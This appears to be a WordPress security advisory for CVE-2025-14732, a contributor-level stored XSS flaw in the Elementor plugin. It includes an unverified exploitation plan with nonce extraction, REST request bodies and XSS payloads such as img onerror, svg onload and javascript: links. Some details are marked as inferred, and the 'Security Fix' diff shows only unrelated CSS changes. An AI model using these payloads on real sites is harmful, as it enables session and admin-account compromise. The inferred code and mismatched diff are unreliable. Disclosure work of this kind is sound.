CVE-2025-14732

Elementor Website Builder <= 3.35.5 - Authenticated (Contributor+) Stored Cross-Site Scripting via REST API

mediumImproper Neutralization of Alternate XSS Syntax
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
3.35.6
Patched in
1d
Time to patch

Description

The Elementor Website Builder – More Than Just a Page Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via several widget parameters in all versions up to, and including, 3.35.5 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with Contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=3.35.5
PublishedApril 7, 2026
Last updatedApril 8, 2026
Affected pluginelementor

What Changed in the Fix

Changes introduced in v3.35.6

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

# Exploitation Research Plan: CVE-2025-14732 ## 1. Vulnerability Summary **CVE-2025-14732** is a Stored Cross-Site Scripting (XSS) vulnerability in the **Elementor Website Builder** plugin (versions <= 3.35.5). The vulnerability arises from improper neutralization of "alternate XSS syntax" (e.g., H…

Show full research plan

Exploitation Research Plan: CVE-2025-14732

1. Vulnerability Summary

CVE-2025-14732 is a Stored Cross-Site Scripting (XSS) vulnerability in the Elementor Website Builder plugin (versions <= 3.35.5). The vulnerability arises from improper neutralization of "alternate XSS syntax" (e.g., HTML event handlers, SVG tags, or Unicode-escaped characters) within widget parameters saved via the Elementor REST API.

While Elementor performs sanitization on common tags like <script>, it fails to sufficiently sanitize or escape input for certain widget settings when saved through its internal REST API. This allows an authenticated user with at least Contributor-level access to inject malicious scripts into a page's metadata. When that page is viewed by other users (including administrators), the script executes in their browser context.

2. Attack Vector Analysis

  • Endpoint: /wp-json/elementor/v1/editor/save-builder-data (inferred from Elementor REST API architecture).
  • Method: POST
  • Vulnerable Parameter: The data parameter within the JSON payload, specifically settings within widget definitions (e.g., heading, button, icon-box).
  • Authentication: Requires a user with Contributor role or higher who has permission to edit the specific post/page.
  • Preconditions: Elementor must be active on the target post type.

3. Code Flow

  1. Entry Point: The user interacts with the Elementor Editor. When "Update" or "Save" is clicked, the JS client sends a request to the REST API route elementor/v1/editor/save-builder-data.
  2. Server-Side Processing: The request is handled by Elementor's REST controller. It receives a JSON-encoded string representing the layout (sections, columns, widgets).
  3. Vulnerable Sink: The plugin processes the settings object for each widget. It uses internal sanitization methods (often found in Core\Base\Document::save_data). If the input contains "alternate syntax" (like event handlers in an <img> tag or encoded payloads), it bypasses the filters.
  4. Storage: The unsanitized/partially sanitized data is stored in the WordPress database as post metadata under the key _elementor_data.
  5. Execution: When the page is rendered on the frontend or re-loaded in the editor, Elementor's rendering engine outputs the malicious settings. If the widget renderer does not use proper escaping (like esc_attr() or wp_kses()) for the specific setting, the script triggers.

4. Nonce Acquisition Strategy

Elementor requires a REST API nonce for its editor operations. This nonce is typically localized and provided to the browser when the editor loads.

  • Target Page: A page or post where Elementor is enabled.
  • JavaScript Variable: window.elementorConfig.ajax.nonce or window.elementorCommon.config.ajax.nonce.
  • Acquisition Steps:
    1. Create a post as a Contributor.
    2. Enable Elementor for that post.
    3. Navigate to the Elementor Editor URL for that post: wp-admin/post.php?post=[ID]&action=elementor.
    4. Use browser_eval to extract the nonce:
      browser_eval("window.elementorConfig?.ajax?.nonce || window.elementorCommon?.config?.ajax?.nonce")
      

5. Exploitation Strategy

The goal is to send a manual REST API request to save malicious widget data.

Step 1: Authentication & Setup

  1. Log in as a Contributor.
  2. Identify a Post ID (target_post_id) the contributor can edit.

Step 2: Nonce Extraction

  1. Navigate to the Elementor editor for the post.
  2. Extract the nonce using the method in Section 4.

Step 3: Crafting the Payload

The payload must be a JSON array of Elementor elements. We will target the heading widget as it is a standard component.

Payload JSON (data parameter):

[
  {
    "id": "exploit-id",
    "elType": "widget",
    "widgetType": "heading",
    "settings": {
      "title": "<img src=x onerror=alert('CVE-2025-14732')>",
      "size": "default"
    },
    "elements": [],
    "isInner": false
  }
]

Step 4: HTTP Request (using http_request)

URL: https://[TARGET]/wp-json/elementor/v1/editor/save-builder-data
Headers:

  • Content-Type: application/json
  • X-WP-Nonce: [EXTRACTED_NONCE]
  • Cookie: [CONTRIBUTOR_COOKIES]

Body:

{
  "post_id": target_post_id,
  "data": "[{\"id\":\"exploit-id\",\"elType\":\"widget\",\"widgetType\":\"heading\",\"settings\":{\"title\":\"<img src=x onerror=alert('CVE-2025-14732')>\"},\"elements\":[],\"isInner\":false}]"
}

6. Test Data Setup

  1. User: Create a user attacker with the contributor role.
  2. Post: Create a post titled "XSS Test" by attacker.
  3. Elementor Enablement: Ensure Elementor is active for the "post" post type.

7. Expected Results

  • REST Response: The server should return 200 OK with a JSON body indicating success (e.g., {"success": true, "data": []}).
  • Frontend Execution: When an administrator visits https://[TARGET]/?p=[target_post_id], an alert box with CVE-2025-14732 will appear.
  • Editor Execution: When the administrator opens the post in the Elementor editor, the script will also trigger.

8. Verification Steps

  1. Check Database: Use WP-CLI to verify the stored metadata:
    wp post meta get [target_post_id] _elementor_data
    
    Confirm the payload <img src=x onerror=...> exists in the output.
  2. Verify Payload Rendering: Check the HTML source of the post frontend:
    http_request "https://[TARGET]/?p=[target_post_id]"
    
    Search for the injected <img> tag in the response body.

9. Alternative Approaches

If the standard <img> tag is blocked by a global WAF or internal Elementor filter, use "alternate syntax":

  1. SVG-based Payload:
    "title": "<svg/onload=alert(1)>"
  2. Unicode Escaping (if the API parses JSON twice):
    "title": "\u003cimg src=x onerror=alert(1)\u003e"
  3. Attribute Injection:
    Instead of the title parameter, target a URL parameter that might be placed inside an attribute:
    "link": {"url": "javascript:alert(1)", "is_external": "", "nofollow": ""}
    (Note: esc_url usually blocks javascript:, but some widget attributes might use esc_attr instead).
Research Findings
Static analysis — not yet PoC-verified

Summary

The Elementor Website Builder plugin for WordPress is vulnerable to Stored Cross-Site Scripting via widget parameters in versions up to 3.35.5. Authenticated attackers with Contributor-level access or higher can inject arbitrary scripts into page metadata through the Elementor REST API by using alternate XSS syntax that bypasses existing sanitization filters.

Vulnerable Code

// Inferred vulnerable sink in Elementor's REST API processing
// core/base/document.php or similar REST controller

public function save_data( $data ) {
    // The plugin receives a JSON payload representing the page layout
    // and fails to sufficiently sanitize widget settings (e.g., 'title' for a heading widget)
    // if alternate syntax like HTML event handlers or SVG tags are used.

    $processed_data = $this->process_editor_data( $data );

    // Data is stored in post metadata without robust validation against event handlers
    update_post_meta( $this->get_main_id(), '_elementor_data', $processed_data );
}

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/elementor/3.35.5/assets/css/admin.css /home/deploy/wp-safety.org/data/plugin-versions/elementor/3.35.6/assets/css/admin.css
--- /home/deploy/wp-safety.org/data/plugin-versions/elementor/3.35.5/assets/css/admin.css	2026-02-17 14:41:42.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/elementor/3.35.6/assets/css/admin.css	2026-03-03 14:49:18.000000000 +0000
@@ -2271,6 +2271,46 @@
   font-weight: 500;
 }
 
+#e-dashboard-ally .ui-sortable-handle {
+  justify-content: flex-start;
+  gap: 8px;
+}
+
+#dashboard-widgets .e-dashboard-ally {
+  padding: 28px 0;
+}
+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-img {
+  text-align: center;
+  margin-block-end: 16px;
+}
+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-info {
+  display: flex;
+  flex-direction: column;
+  align-items: center;
+  text-align: center;
+  margin-block-end: 20px;
+}
+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-title {
+  font-size: 20px;
+  line-height: 32px;
+  color: #0C0D0E;
+  margin-block-end: 0;
+}
+#dashboard-widgets .e-dashboard-ally .e-dashboard-ally-description {
+  max-width: 295px;
+  font-size: 14px;
+  line-height: 20px;
+  color: #3F444B;
+  margin: 0 0 16px;
+}
+
+label[for=e-dashboard-ally-hide] svg {
+  display: inline-block;
+  vertical-align: middle;
+  margin-inline-end: 4px;
+  margin-block-end: 2px;
+}
+
 .post-type-elementor_library #elementor-template-library-tabs-wrapper {
   padding-block-start: 2em;
   margin-block-end: 2em;

Exploit Outline

1. Authenticate as a user with Contributor-level permissions or higher. 2. Access the Elementor Editor for a post or page the user has permission to edit (e.g., `wp-admin/post.php?post=[ID]&action=elementor`). 3. Extract the REST API nonce from the browser environment using `window.elementorConfig.ajax.nonce`. 4. Craft a malicious JSON payload representing an Elementor widget (e.g., a 'heading' widget) where a setting like 'title' contains an XSS payload using alternate syntax (e.g., `<img src=x onerror=alert(1)>` or `<svg/onload=alert(1)>`). 5. Send a POST request to the endpoint `/wp-json/elementor/v1/editor/save-builder-data` with the `post_id` and the malicious JSON stringified in the `data` parameter, including the `X-WP-Nonce` header. 6. The payload is stored in the `_elementor_data` post meta. It will execute whenever an administrator or any other user views the affected page or opens it in the Elementor editor.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.